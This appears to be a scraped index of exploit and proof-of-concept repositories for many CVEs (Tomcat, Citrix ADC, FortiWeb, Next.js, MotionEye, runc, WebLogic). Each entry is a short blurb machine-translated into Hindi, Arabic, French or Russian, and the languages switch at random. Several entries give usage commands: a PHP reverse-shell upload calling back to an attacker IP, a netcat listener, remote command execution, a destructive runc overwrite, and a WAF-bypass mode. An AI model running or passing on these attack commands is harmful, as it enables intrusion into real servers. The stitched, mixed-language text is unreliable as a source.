tomcat-cve-2017-12617

Tomcat CVE-2017-12617 Exploit/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - JSP Upload Bypass / Remote Code Execution for Python3 मैंने मूल स्क्रिप्ट में कुछ समायोजन किए हैं ताकि यह Python 3 के साथ संगत हो! यदि कोई समस्या या मुद्दे आते हैं, तो बेझिझक मुझे ईमेल करें [email protected]...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 رفع شيل عكسي استغلال لـ WpDiscuz 7.0.4 يستند إلى الاستغلال الذي كتبه h3v0x. يستغل الثغرة ويرفع شيل PHP عكسي. كان الإلهام من تحدي Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 مثال للاستخدام:...

CVE-2019-19781

CVE-2019-19781 Citrix ADC रिमोट कोड निष्पादन पायथन उपयोग: python CVE-2019-19781.py http://192.168.3.244 0x01 NSVPX-ESX-13.0-47.22nc64.zip डाउनलोड करें https://www.citrix.com/downloads/citrix-gateway/ स्टैटिक नेटवर्क कॉन्फ़िगर करें...

CVE-2019-0604

CVE-2019-0604 CVE-2019-0604 Из https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

cve-2022-24112

Apache APISIX 2.12.1 Exécution de code à distance et laboratoire Docker Clonons ce dépôt en utilisant gitclone, puis nous pouvons naviguer vers apisix-docker/examples. Dans ce fichier docker-compose.yml, nous avons déjà remplacé l'image par image: apache/apisix:2.12.0-alpine, car la vulnérabilité...

CVE-2019-11043

CVE-2019-11043 Exécution de code à distance PHP-FPM Screencast : https://youtu.be/d6benC5FVZM Aperçu Cet exploit zero-day dans les configurations PHP-FPM courantes a été découvert lors du concours Realworld CTF en 2019. Une expression régulière est utilisée pour analyser l'URI demandée, mais les...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + إعداد Docker Ngrok CVE-2018-11235-Git PoC وإنشاء نفق باستخدام docker ngrok بناء Dockerfile root@kitploit: $ docker build -t cve-2018-11235 . إنشاء شبكة مخصصة لـ ngrok root@kitploit: $ docker network create myngroknet تشغيل خادم Git Http root@kitploit: $ docker ru...

CVE-2025-64446_CVE-2025-58034

Exploitation de l'exécution de code à distance RCE FortiWeb via la chaîne CVE-2025-64446 + CVE-2025-58034 Description Ce script enchaîne deux vulnérabilités critiques de Fortinet FortiWeb pour parvenir à une exécution de code à distance non authentifiée avec les privilèges root : 1. CVE-2025-6444...

CVE-2025-55182_CVE-2025-66478

CVE-2025-55182 - تنفيذ التعليمات البرمجية عن بُعد في Next.js/React Server Components نظرة عامة يحتوي هذا المستودع على استغلال لإثبات المفهوم PoC للثغرة CVE-2025-55182، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE تؤثر على React Server Components في إصدارات React 19.x وإصدارات Next.js 15....

NextRce

NextRce - Next.js RSC शोषण उपकरण CVE-2025-55182 Next.js App Router के लिए उन्नत भेद्यता स्कैनर और शोषक द्वारा विकसितMitsec 🔥 नई सुविधा: WAF बायपास मोड UTF-16LE childprocess या execSync जैसे कीवर्ड वाले मानक पेलोड अक्सर Web Application Firewalls WAFs द्वारा अवरुद्ध कर दिए जाते हैं। NextRCSWaff.py ...

CVE-2023-22047

الوصف: CVE-2023-22047 هو قراءة ملف بدون مصادقة على أوراكل بيبل سوفت. ومع ذلك، يمكن للمهاجم المتقدم استخدام هذه الثغرة لتنفيذ تعليمات برمجية عن بُعد. في تطبيق بيبل سوفت "Portal.war"، يُمكّن السيرفلت "WSRP Consumer ResourceProxy" من قراءة الملفات وإرسال طلبات SSRF إلى أي مضيف. باستخدام هذه الثغرة،...

CVE-2025-60787_PoC

CVE-2025-60787 - تنفيذ الأوامر عن بُعد في MotionEye ثغرة تنفيذ أوامر عن بُعد RCE مصادق عليها في MotionEye = 0.43.1b4 عبر تجاوز التحقق من جهة العميل في حقل imagefilename. الاستخدام root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 العلامات...

cve-2021-42013-docker-lab

CVE-2021-42013 Введение Было обнаружено, что исправление для CVE-2021-41773 в Apache HTTP Server 2.4.50 оказалось недостаточным. Атакующий мог использовать атаку с обходом пути для сопоставления URL с файлами за пределами каталогов, настроенных директивами типа Alias. Если файлы за пределами этих...

mantis_rce

mantisrce نص بايثون للحصول على RCE في Mantis Bug Tracker قبل الإصدار 1.2.x راجع CVE-2008-4687 لمزيد من المعلومات...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 أداة استغلال WonderCMS RCE CVE-2023-41425 تعمل هذه الأداة الهجومية المبنية على بايثون على أتمتة استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE في WonderCMS 4.3.2 ، وتحديدًا CVE-2023-41425. تُبسّط عملية إنشاء وحدة سمة ZIP خبيثة وتسليم حمولة XSS قائمة على الجافاسكريبت لاختطاف جلسة مدير الموقع...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Эксплуатируемая уязвимость обхода пути нулевого дня в Apache HTTP Server Apache HTTP Server CVE-2021-41773 эксплуатируется в реальных условиях CVE-2021-42013: Обход пути и удаленное выполнение кода в Apache HTTP Server 2.4.49 и 2.4.50 неполное исправление...

CVE-2019-5736

उपयोग HOST को payload.c के अंदर संपादित करें, make के साथ संकलित करें। nc शुरू करें और कंटेनर के अंदर pwn.sh चलाएं। नोट्स यह शोषण विनाशकारी है: यह होस्ट पर /usr/bin/docker-runc बाइनरी को होस्ट पर पेलोड से ओवरराइट कर देगा। यह कंटेनर के अंदर /bin/sh को भी ओवरराइट करेगा। केवल Debian 9 पर परीक्षण किय...

bluekeep

CVE-2019-0708 المعروف بـ Bluekeep الماسح الضوئي ماسح ضوئي بسيط لتحديد مدى تأثر النظام بـ CVE-2019-0708. هذا هو نسخة بلغة Python من الماسح الضوئي الأصلي لوحدة metasploit بواسطة JaGoTu و zerosum0x0، والمتاح على Github هنا. إثبات المفهوم إثبات مفهوم لـ RCE عبر استغلال ثغرة Bluekeep. متعلق 0xeb-bp...

CVE-2019-0604_sharepoint_CVE

CVE-2019-0604 CVE-2019-0604 De https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

CVE-2018-2628

CVE-2018-2628 0x01 Scan Nessus 0x02 K8 Tools GetShell 0x03 Requête CMD Méthode d'utilisation: root@kitploit: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...